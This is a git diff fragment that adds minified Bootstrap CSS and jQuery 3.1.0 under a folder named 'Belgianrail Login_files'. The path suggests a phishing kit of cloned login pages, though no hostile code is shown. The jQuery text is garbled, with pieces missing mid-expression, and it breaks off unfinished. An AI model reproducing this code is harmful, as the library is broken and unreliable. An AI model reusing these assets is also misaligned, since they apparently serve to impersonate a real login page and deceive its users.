.list-group-item-heading{color:inherit}a.list-group-item-info:focus,a.list-group-item-info:hover,button.list-group-item-info:focus,button.list-group-item-info:hover{color:#31708f;background-color:#c4e3f3}a.list-group-item-info.active,a.list-group-item-info.active:focus,a.list-group-item-info.active:hover,button.list-group-item-info.active,button.list-group-item-info.active:focus,button.list-group-item-info.active:hover{color:#fff;background-color:#31708f;border-color:#31708f}.list-group-item-warning{color:#8a6d3b;background-color:#fcf8e3}a.list-group-item-warning,button.list-group-item-warning{color:#8a6d3b}a.list-group-item-warning .list-group-item-heading,button.list-group-item-warning .list-group-item-heading{color:inherit}a.list-group-item-warning:focus,a.list-group-item-warning:hover,button.list-group-item-warning:focus,button.list-group-item-warning:hover{color:#8a6d3b;background-color:#faf2cc}a.list-group-item-warning.active,a.list-group-item-warning.active:focus,a.list-group-item-warning.active:hover,button.list-group-item-warning.active,button.list-group-item-warning.active:focus,button.list-group-item-warning.active:hover{color:#fff;background-color:#8a6d3b;border-color:#8a6d3b}.list-group-item-danger{color:#a94442;background-color:#f2dede}a.list-group-item-danger,button.list-group-item-danger{color:#a94442}a.list-group-item-danger .list-group-item-heading,button.list-group-item-danger .list-group-item-heading{color:inherit}a.list-group-item-danger:focus,a.list-group-item-danger:hover,button.list-group-item-danger:focus,button.list-group-item-danger:hover{color:#a94442;background-color:#ebcccc}a.list-group-item-danger.active,a.list-group-item-danger.active:focus,a.list-group-item-danger.active:hover,button.list-group-item-danger.active,button.list-group-item-danger.active:focus,button.list-group-item-danger.active:hover{color:#fff;background-color:#a94442;border-color:#a94442}.list-group-item-heading{margin-top:0;margin-bottom:5px}.list-group-item-text{margin-bottom:0;line-height:1.3}.panel{margin-bottom:20px;background-color:#fff;border:1px solid transparent;border-radius:4px;-webkit-box-shadow:0 1px 1px rgba(0,0,0,.05);box-shadow:0 1px 1px rgba(0,0,0,.05)}.panel-body{padding:15px}.panel-heading{padding:10px 15px;border-bottom:1px solid transparent;border-top-left-radius:3px;border-top-right-radius:3px}.panel-heading>.dropdown .dropdown-toggle{color:inherit}.panel-title{margin-top:0;margin-bottom:0;font-size:16px;color:inherit}.panel-title>.small,.panel-title>.small>a,.panel-title>a,.panel-title>small,.panel-title>small>a{color:inherit}.panel-footer{padding:10px 15px;background-color:#f5f5f5;border-top:1px solid #ddd;border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.list-group,.panel>.panel-collapse>.list-group{margin-bottom:0}.panel>.list-group .list-group-item,.panel>.panel-collapse>.list-group .list-group-item{border-width:1px 0;border-radius:0}.panel>.list-group:first-child .list-group-item:first-child,.panel>.panel-collapse>.list-group:first-child .list-group-item:first-child{border-top:0;border-top-left-radius:3px;border-top-right-radius:3px}.panel>.list-group:last-child .list-group-item:last-child,.panel>.panel-collapse>.list-group:last-child .list-group-item:last-child{border-bottom:0;border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.panel-heading+.panel-collapse>.list-group .list-group-item:first-child{border-top-left-radius:0;border-top-right-radius:0}.panel-heading+.list-group .list-group-item:first-child{border-top-width:0}.list-group+.panel-footer{border-top-width:0}.panel>.panel-collapse>.table,.panel>.table,.panel>.table-responsive>.table{margin-bottom:0}.panel>.panel-collapse>.table caption,.panel>.table caption,.panel>.table-responsive>.table caption{padding-right:15px;padding-left:15px}.panel>.table-responsive:first-child>.table:first-child,.panel>.table:first-child{border-top-left-radius:3px;border-top-right-radius:3px}.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child,.panel>.table:first-child>thead:first-child>tr:first-child{border-top-left-radius:3px;border-top-right-radius:3px}.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:first-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child td:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child th:first-child,.panel>.table:first-child>thead:first-child>tr:first-child td:first-child,.panel>.table:first-child>thead:first-child>tr:first-child th:first-child{border-top-left-radius:3px}.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:last-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:last-child,.panel>.table:first-child>tbody:first-child>tr:first-child td:last-child,.panel>.table:first-child>tbody:first-child>tr:first-child th:last-child,.panel>.table:first-child>thead:first-child>tr:first-child td:last-child,.panel>.table:first-child>thead:first-child>tr:first-child th:last-child{border-top-right-radius:3px}.panel>.table-responsive:last-child>.table:last-child,.panel>.table:last-child{border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child{border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child td:first-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:first-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child td:first-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:first-child,.panel>.table:last-child>tbody:last-child>tr:last-child td:first-child,.panel>.table:last-child>tbody:last-child>tr:last-child th:first-child,.panel>.table:last-child>tfoot:last-child>tr:last-child td:first-child,.panel>.table:last-child>tfoot:last-child>tr:last-child th:first-child{border-bottom-left-radius:3px}.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child td:last-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child td:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child td:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child th:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child td:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child th:last-child{border-bottom-right-radius:3px}.panel>.panel-body+.table,.panel>.panel-body+.table-responsive,.panel>.table+.panel-body,.panel>.table-responsive+.panel-body{border-top:1px solid #ddd}.panel>.table>tbody:first-child>tr:first-child td,.panel>.table>tbody:first-child>tr:first-child th{border-top:0}.panel>.table-bordered,.panel>.table-responsive>.table-bordered{border:0}.panel>.table-bordered>tbody>tr>td:first-child,.panel>.table-bordered>tbody>tr>th:first-child,.panel>.table-bordered>tfoot>tr>td:first-child,.panel>.table-bordered>tfoot>tr>th:first-child,.panel>.table-bordered>thead>tr>td:first-child,.panel>.table-bordered>thead>tr>th:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:first-child,.panel>.table-responsive>.table-bordered>thead>tr>td:first-child,.panel>.table-responsive>.table-bordered>thead>tr>th:first-child{border-left:0}.panel>.table-bordered>tbody>tr>td:last-child,.panel>.table-bordered>tbody>tr>th:last-child,.panel>.table-bordered>tfoot>tr>td:last-child,.panel>.table-bordered>tfoot>tr>th:last-child,.panel>.table-bordered>thead>tr>td:last-child,.panel>.table-bordered>thead>tr>th:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:last-child,.panel>.table-responsive>.table-bordered>thead>tr>td:last-child,.panel>.table-responsive>.table-bordered>thead>tr>th:last-child{border-right:0}.panel>.table-bordered>tbody>tr:first-child>td,.panel>.table-bordered>tbody>tr:first-child>th,.panel>.table-bordered>thead>tr:first-child>td,.panel>.table-bordered>thead>tr:first-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:first-child>td,.panel>.table-responsive>.table-bordered>tbody>tr:first-child>th,.panel>.table-responsive>.table-bordered>thead>tr:first-child>td,.panel>.table-responsive>.table-bordered>thead>tr:first-child>th{border-bottom:0}.panel>.table-bordered>tbody>tr:last-child>td,.panel>.table-bordered>tbody>tr:last-child>th,.panel>.table-bordered>tfoot>tr:last-child>td,.panel>.table-bordered>tfoot>tr:last-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>td,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>th,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>td,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>th{border-bottom:0}.panel>.table-responsive{margin-bottom:0;border:0}.panel-group{margin-bottom:20px}.panel-group .panel{margin-bottom:0;border-radius:4px}.panel-group .panel+.panel{margin-top:5px}.panel-group .panel-heading{border-bottom:0}.panel-group .panel-heading+.panel-collapse>.list-group,.panel-group .panel-heading+.panel-collapse>.panel-body{border-top:1px solid #ddd}.panel-group .panel-footer{border-top:0}.panel-group .panel-footer+.panel-collapse .panel-body{border-bottom:1px solid #ddd}.panel-default{border-color:#ddd}.panel-default>.panel-heading{color:#333;background-color:#f5f5f5;border-color:#ddd}.panel-default>.panel-heading+.panel-collapse>.panel-body{border-top-color:#ddd}.panel-default>.panel-heading .badge{color:#f5f5f5;background-color:#333}.panel-default>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#ddd}.panel-primary{border-color:#337ab7}.panel-primary>.panel-heading{color:#fff;background-color:#337ab7;border-color:#337ab7}.panel-primary>.panel-heading+.panel-collapse>.panel-body{border-top-color:#337ab7}.panel-primary>.panel-heading .badge{color:#337ab7;background-color:#fff}.panel-primary>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#337ab7}.panel-success{border-color:#d6e9c6}.panel-success>.panel-heading{color:#3c763d;background-color:#dff0d8;border-color:#d6e9c6}.panel-success>.panel-heading+.panel-collapse>.panel-body{border-top-color:#d6e9c6}.panel-success>.panel-heading .badge{color:#dff0d8;background-color:#3c763d}.panel-success>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#d6e9c6}.panel-info{border-color:#bce8f1}.panel-info>.panel-heading{color:#31708f;background-color:#d9edf7;border-color:#bce8f1}.panel-info>.panel-heading+.panel-collapse>.panel-body{border-top-color:#bce8f1}.panel-info>.panel-heading .badge{color:#d9edf7;background-color:#31708f}.panel-info>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#bce8f1}.panel-warning{border-color:#faebcc}.panel-warning>.panel-heading{color:#8a6d3b;background-color:#fcf8e3;border-color:#faebcc}.panel-warning>.panel-heading+.panel-collapse>.panel-body{border-top-color:#faebcc}.panel-warning>.panel-heading .badge{color:#fcf8e3;background-color:#8a6d3b}.panel-warning>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#faebcc}.panel-danger{border-color:#ebccd1}.panel-danger>.panel-heading{color:#a94442;background-color:#f2dede;border-color:#ebccd1}.panel-danger>.panel-heading+.panel-collapse>.panel-body{border-top-color:#ebccd1}.panel-danger>.panel-heading .badge{color:#f2dede;background-color:#a94442}.panel-danger>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#ebccd1}.embed-responsive{position:relative;display:block;height:0;padding:0;overflow:hidden}.embed-responsive .embed-responsive-item,.embed-responsive embed,.embed-responsive iframe,.embed-responsive object,.embed-responsive video{position:absolute;top:0;bottom:0;left:0;width:100%;height:100%;border:0}.embed-responsive-16by9{padding-bottom:56.25%}.embed-responsive-4by3{padding-bottom:75%}.well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px solid #e3e3e3;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.05);box-shadow:inset 0 1px 1px rgba(0,0,0,.05)}.well blockquote{border-color:#ddd;border-color:rgba(0,0,0,.15)}.well-lg{padding:24px;border-radius:6px}.well-sm{padding:9px;border-radius:3px}.close{float:right;font-size:21px;font-weight:700;line-height:1;color:#000;text-shadow:0 1px 0 #fff;filter:alpha(opacity=20);opacity:.2}.close:focus,.close:hover{color:#000;text-decoration:none;cursor:pointer;filter:alpha(opacity=50);opacity:.5}button.close{-webkit-appearance:none;padding:0;cursor:pointer;background:0 0;border:0}.modal-open{overflow:hidden}.modal{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1050;display:none;overflow:hidden;-webkit-overflow-scrolling:touch;outline:0}.modal.fade .modal-dialog{-webkit-transition:-webkit-transform .3s ease-out;-o-transition:-o-transform .3s ease-out;transition:transform .3s ease-out;-webkit-transform:translate(0,-25%);-ms-transform:translate(0,-25%);-o-transform:translate(0,-25%);transform:translate(0,-25%)}.modal.in .modal-dialog{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);-o-transform:translate(0,0);transform:translate(0,0)}.modal-open .modal{overflow-x:hidden;overflow-y:auto}.modal-dialog{position:relative;width:auto;margin:10px}.modal-content{position:relative;background-color:#fff;-webkit-background-clip:padding-box;background-clip:padding-box;border:1px solid #999;border:1px solid rgba(0,0,0,.2);border-radius:6px;outline:0;-webkit-box-shadow:0 3px 9px rgba(0,0,0,.5);box-shadow:0 3px 9px rgba(0,0,0,.5)}.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;background-color:#000}.modal-backdrop.fade{filter:alpha(opacity=0);opacity:0}.modal-backdrop.in{filter:alpha(opacity=50);opacity:.5}.modal-header{padding:15px;border-bottom:1px solid #e5e5e5}.modal-header .close{margin-top:-2px}.modal-title{margin:0;line-height:1.42857143}.modal-body{position:relative;padding:15px}.modal-footer{padding:15px;text-align:right;border-top:1px solid #e5e5e5}.modal-footer .btn+.btn{margin-bottom:0;margin-left:5px}.modal-footer .btn-group .btn+.btn{margin-left:-1px}.modal-footer .btn-block+.btn-block{margin-left:0}.modal-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}@media (min-width:768px){.modal-dialog{width:600px;margin:30px auto}.modal-content{-webkit-box-shadow:0 5px 15px rgba(0,0,0,.5);box-shadow:0 5px 15px rgba(0,0,0,.5)}.modal-sm{width:300px}}@media (min-width:992px){.modal-lg{width:900px}}.tooltip{position:absolute;z-index:1070;display:block;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:12px;font-style:normal;font-weight:400;line-height:1.42857143;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;word-wrap:normal;white-space:normal;filter:alpha(opacity=0);opacity:0;line-break:auto}.tooltip.in{filter:alpha(opacity=90);opacity:.9}.tooltip.top{padding:5px 0;margin-top:-3px}.tooltip.right{padding:0 5px;margin-left:3px}.tooltip.bottom{padding:5px 0;margin-top:3px}.tooltip.left{padding:0 5px;margin-left:-3px}.tooltip-inner{max-width:200px;padding:3px 8px;color:#fff;text-align:center;background-color:#000;border-radius:4px}.tooltip-arrow{position:absolute;width:0;height:0;border-color:transparent;border-style:solid}.tooltip.top .tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.top-left .tooltip-arrow{right:5px;bottom:0;margin-bottom:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.top-right .tooltip-arrow{bottom:0;left:5px;margin-bottom:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.right .tooltip-arrow{top:50%;left:0;margin-top:-5px;border-width:5px 5px 5px 0;border-right-color:#000}.tooltip.left .tooltip-arrow{top:50%;right:0;margin-top:-5px;border-width:5px 0 5px 5px;border-left-color:#000}.tooltip.bottom .tooltip-arrow{top:0;left:50%;margin-left:-5px;border-width:0 5px 5px;border-bottom-color:#000}.tooltip.bottom-left .tooltip-arrow{top:0;right:5px;margin-top:-5px;border-width:0 5px 5px;border-bottom-color:#000}.tooltip.bottom-right .tooltip-arrow{top:0;left:5px;margin-top:-5px;border-width:0 5px 5px;border-bottom-color:#000}.popover{position:absolute;top:0;left:0;z-index:1060;display:none;max-width:276px;padding:1px;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;font-style:normal;font-weight:400;line-height:1.42857143;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;word-wrap:normal;white-space:normal;background-color:#fff;-webkit-background-clip:padding-box;background-clip:padding-box;border:1px solid #ccc;border:1px solid rgba(0,0,0,.2);border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0,0,0,.2);box-shadow:0 5px 10px rgba(0,0,0,.2);line-break:auto}.popover.top{margin-top:-10px}.popover.right{margin-left:10px}.popover.bottom{margin-top:10px}.popover.left{margin-left:-10px}.popover-title{padding:8px 14px;margin:0;font-size:14px;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;border-radius:5px 5px 0 0}.popover-content{padding:9px 14px}.popover>.arrow,.popover>.arrow:after{position:absolute;display:block;width:0;height:0;border-color:transparent;border-style:solid}.popover>.arrow{border-width:11px}.popover>.arrow:after{content:"";border-width:10px}.popover.top>.arrow{bottom:-11px;left:50%;margin-left:-11px;border-top-color:#999;border-top-color:rgba(0,0,0,.25);border-bottom-width:0}.popover.top>.arrow:after{bottom:1px;margin-left:-10px;content:" ";border-top-color:#fff;border-bottom-width:0}.popover.right>.arrow{top:50%;left:-11px;margin-top:-11px;border-right-color:#999;border-right-color:rgba(0,0,0,.25);border-left-width:0}.popover.right>.arrow:after{bottom:-10px;left:1px;content:" ";border-right-color:#fff;border-left-width:0}.popover.bottom>.arrow{top:-11px;left:50%;margin-left:-11px;border-top-width:0;border-bottom-color:#999;border-bottom-color:rgba(0,0,0,.25)}.popover.bottom>.arrow:after{top:1px;margin-left:-10px;content:" ";border-top-width:0;border-bottom-color:#fff}.popover.left>.arrow{top:50%;right:-11px;margin-top:-11px;border-right-width:0;border-left-color:#999;border-left-color:rgba(0,0,0,.25)}.popover.left>.arrow:after{right:1px;bottom:-10px;content:" ";border-right-width:0;border-left-color:#fff}.carousel{position:relative}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel-inner>.item{position:relative;display:none;-webkit-transition:.6s ease-in-out left;-o-transition:.6s ease-in-out left;transition:.6s ease-in-out left}.carousel-inner>.item>a>img,.carousel-inner>.item>img{line-height:1}@media all and (transform-3d),(-webkit-transform-3d){.carousel-inner>.item{-webkit-transition:-webkit-transform .6s ease-in-out;-o-transition:-o-transform .6s ease-in-out;transition:transform .6s ease-in-out;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-perspective:1000px;perspective:1000px}.carousel-inner>.item.active.right,.carousel-inner>.item.next{left:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.carousel-inner>.item.active.left,.carousel-inner>.item.prev{left:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.carousel-inner>.item.active,.carousel-inner>.item.next.left,.carousel-inner>.item.prev.right{left:0;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.carousel-inner>.active,.carousel-inner>.next,.carousel-inner>.prev{display:block}.carousel-inner>.active{left:0}.carousel-inner>.next,.carousel-inner>.prev{position:absolute;top:0;width:100%}.carousel-inner>.next{left:100%}.carousel-inner>.prev{left:-100%}.carousel-inner>.next.left,.carousel-inner>.prev.right{left:0}.carousel-inner>.active.left{left:-100%}.carousel-inner>.active.right{left:100%}.carousel-control{position:absolute;top:0;bottom:0;left:0;width:15%;font-size:20px;color:#fff;text-align:center;text-shadow:0 1px 2px rgba(0,0,0,.6);background-color:rgba(0,0,0,0);filter:alpha(opacity=50);opacity:.5}.carousel-control.left{background-image:-webkit-linear-gradient(left,rgba(0,0,0,.5) 0,rgba(0,0,0,.0001) 100%);background-image:-o-linear-gradient(left,rgba(0,0,0,.5) 0,rgba(0,0,0,.0001) 100%);background-image:-webkit-gradient(linear,left top,right top,from(rgba(0,0,0,.5)),to(rgba(0,0,0,.0001)));background-image:linear-gradient(to right,rgba(0,0,0,.5) 0,rgba(0,0,0,.0001) 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1);background-repeat:repeat-x}.carousel-control.right{right:0;left:auto;background-image:-webkit-linear-gradient(left,rgba(0,0,0,.0001) 0,rgba(0,0,0,.5) 100%);background-image:-o-linear-gradient(left,rgba(0,0,0,.0001) 0,rgba(0,0,0,.5) 100%);background-image:-webkit-gradient(linear,left top,right top,from(rgba(0,0,0,.0001)),to(rgba(0,0,0,.5)));background-image:linear-gradient(to right,rgba(0,0,0,.0001) 0,rgba(0,0,0,.5) 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1);background-repeat:repeat-x}.carousel-control:focus,.carousel-control:hover{color:#fff;text-decoration:none;filter:alpha(opacity=90);outline:0;opacity:.9}.carousel-control .glyphicon-chevron-left,.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next,.carousel-control .icon-prev{position:absolute;top:50%;z-index:5;display:inline-block;margin-top:-10px}.carousel-control .glyphicon-chevron-left,.carousel-control .icon-prev{left:50%;margin-left:-10px}.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next{right:50%;margin-right:-10px}.carousel-control .icon-next,.carousel-control .icon-prev{width:20px;height:20px;font-family:serif;line-height:1}.carousel-control .icon-prev:before{content:'\2039'}.carousel-control .icon-next:before{content:'\203a'}.carousel-indicators{position:absolute;bottom:10px;left:50%;z-index:15;width:60%;padding-left:0;margin-left:-30%;text-align:center;list-style:none}.carousel-indicators li{display:inline-block;width:10px;height:10px;margin:1px;text-indent:-999px;cursor:pointer;background-color:#000\9;background-color:rgba(0,0,0,0);border:1px solid #fff;border-radius:10px}.carousel-indicators .active{width:12px;height:12px;margin:0;background-color:#fff}.carousel-caption{position:absolute;right:15%;bottom:20px;left:15%;z-index:10;padding-top:20px;padding-bottom:20px;color:#fff;text-align:center;text-shadow:0 1px 2px rgba(0,0,0,.6)}.carousel-caption .btn{text-shadow:none}@media screen and (min-width:768px){.carousel-control .glyphicon-chevron-left,.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next,.carousel-control .icon-prev{width:30px;height:30px;margin-top:-10px;font-size:30px}.carousel-control .glyphicon-chevron-left,.carousel-control .icon-prev{margin-left:-10px}.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next{margin-right:-10px}.carousel-caption{right:20%;left:20%;padding-bottom:30px}.carousel-indicators{bottom:20px}}.btn-group-vertical>.btn-group:after,.btn-group-vertical>.btn-group:before,.btn-toolbar:after,.btn-toolbar:before,.clearfix:after,.clearfix:before,.container-fluid:after,.container-fluid:before,.container:after,.container:before,.dl-horizontal dd:after,.dl-horizontal dd:before,.form-horizontal .form-group:after,.form-horizontal .form-group:before,.modal-footer:after,.modal-footer:before,.modal-header:after,.modal-header:before,.nav:after,.nav:before,.navbar-collapse:after,.navbar-collapse:before,.navbar-header:after,.navbar-header:before,.navbar:after,.navbar:before,.pager:after,.pager:before,.panel-body:after,.panel-body:before,.row:after,.row:before{display:table;content:" "}.btn-group-vertical>.btn-group:after,.btn-toolbar:after,.clearfix:after,.container-fluid:after,.container:after,.dl-horizontal dd:after,.form-horizontal .form-group:after,.modal-footer:after,.modal-header:after,.nav:after,.navbar-collapse:after,.navbar-header:after,.navbar:after,.pager:after,.panel-body:after,.row:after{clear:both}.center-block{display:block;margin-right:auto;margin-left:auto}.pull-right{float:right!important}.pull-left{float:left!important}.hide{display:none!important}.show{display:block!important}.invisible{visibility:hidden}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.hidden{display:none!important}.affix{position:fixed}@-ms-viewport{width:device-width}.visible-lg,.visible-md,.visible-sm,.visible-xs{display:none!important}.visible-lg-block,.visible-lg-inline,.visible-lg-inline-block,.visible-md-block,.visible-md-inline,.visible-md-inline-block,.visible-sm-block,.visible-sm-inline,.visible-sm-inline-block,.visible-xs-block,.visible-xs-inline,.visible-xs-inline-block{display:none!important}@media (max-width:767px){.visible-xs{display:block!important}table.visible-xs{display:table!important}tr.visible-xs{display:table-row!important}td.visible-xs,th.visible-xs{display:table-cell!important}}@media (max-width:767px){.visible-xs-block{display:block!important}}@media (max-width:767px){.visible-xs-inline{display:inline!important}}@media (max-width:767px){.visible-xs-inline-block{display:inline-block!important}}@media (min-width:768px) and (max-width:991px){.visible-sm{display:block!important}table.visible-sm{display:table!important}tr.visible-sm{display:table-row!important}td.visible-sm,th.visible-sm{display:table-cell!important}}@media (min-width:768px) and (max-width:991px){.visible-sm-block{display:block!important}}@media (min-width:768px) and (max-width:991px){.visible-sm-inline{display:inline!important}}@media (min-width:768px) and (max-width:991px){.visible-sm-inline-block{display:inline-block!important}}@media (min-width:992px) and (max-width:1199px){.visible-md{display:block!important}table.visible-md{display:table!important}tr.visible-md{display:table-row!important}td.visible-md,th.visible-md{display:table-cell!important}}@media (min-width:992px) and (max-width:1199px){.visible-md-block{display:block!important}}@media (min-width:992px) and (max-width:1199px){.visible-md-inline{display:inline!important}}@media (min-width:992px) and (max-width:1199px){.visible-md-inline-block{display:inline-block!important}}@media (min-width:1200px){.visible-lg{display:block!important}table.visible-lg{display:table!important}tr.visible-lg{display:table-row!important}td.visible-lg,th.visible-lg{display:table-cell!important}}@media (min-width:1200px){.visible-lg-block{display:block!important}}@media (min-width:1200px){.visible-lg-inline{display:inline!important}}@media (min-width:1200px){.visible-lg-inline-block{display:inline-block!important}}@media (max-width:767px){.hidden-xs{display:none!important}}@media (min-width:768px) and (max-width:991px){.hidden-sm{display:none!important}}@media (min-width:992px) and (max-width:1199px){.hidden-md{display:none!important}}@media (min-width:1200px){.hidden-lg{display:none!important}}.visible-print{display:none!important}@media print{.visible-print{display:block!important}table.visible-print{display:table!important}tr.visible-print{display:table-row!important}td.visible-print,th.visible-print{display:table-cell!important}}.visible-print-block{display:none!important}@media print{.visible-print-block{display:block!important}}.visible-print-inline{display:none!important}@media print{.visible-print-inline{display:inline!important}}.visible-print-inline-block{display:none!important}@media print{.visible-print-inline-block{display:inline-block!important}}@media print{.hidden-print{display:none!important}} +/*# sourceMappingURL=bootstrap.min.css.map */ \ No newline at end of file diff --git "a/.sites/b-key/Belgianrail Login_files/jquery-3.1.0.min.js.t\303\251l\303\251charg\303\251" "b/.sites/b-key/Belgianrail Login_files/jquery-3.1.0.min.js.t\303\251l\303\251charg\303\251" new file mode 100644 index 00000000..60f79697 --- /dev/null +++ "b/.sites/b-key/Belgianrail Login_files/jquery-3.1.0.min.js.t\303\251l\303\251charg\303\251" @@ -0,0 +1,4 @@ +/*! jQuery v3.1.0 | (c) jQuery Foundation | jquery.org/license */ +!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b||d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.1.0",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null!=a?a<0?this[a+this.length]:this[a]:f.call(this)},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(f.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(a<0?b:0);return this.pushStack(c>=0&&c0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.push,G=D.push,H=D.slice,I=function(a,b){for(var c=0,d=a.length;c+~]|"+K+")"+K+"*"),S=new RegExp("="+K+"*([^\\]'\"]*?)"+K+"*\\]","g"),T=new RegExp(N),U=new RegExp("^"+L+"$"),V={ID:new RegExp("^#("+L+")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"|[*])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+K+"*(even|odd|(([+-]|)(\\d*)n|)"+K+"*(?:([+-]|)"+K+"*(\\d+)|))"+K+"*\\)|)","i"),bool:new RegExp("^(?:"+J+")$","i"),needsContext:new RegExp("^"+K+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+K+"*((?:-\\d)?\\d*)"+K+"*\\)|)(?=[^-]|$)","i")},W=/^(?:input|select|textarea|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native 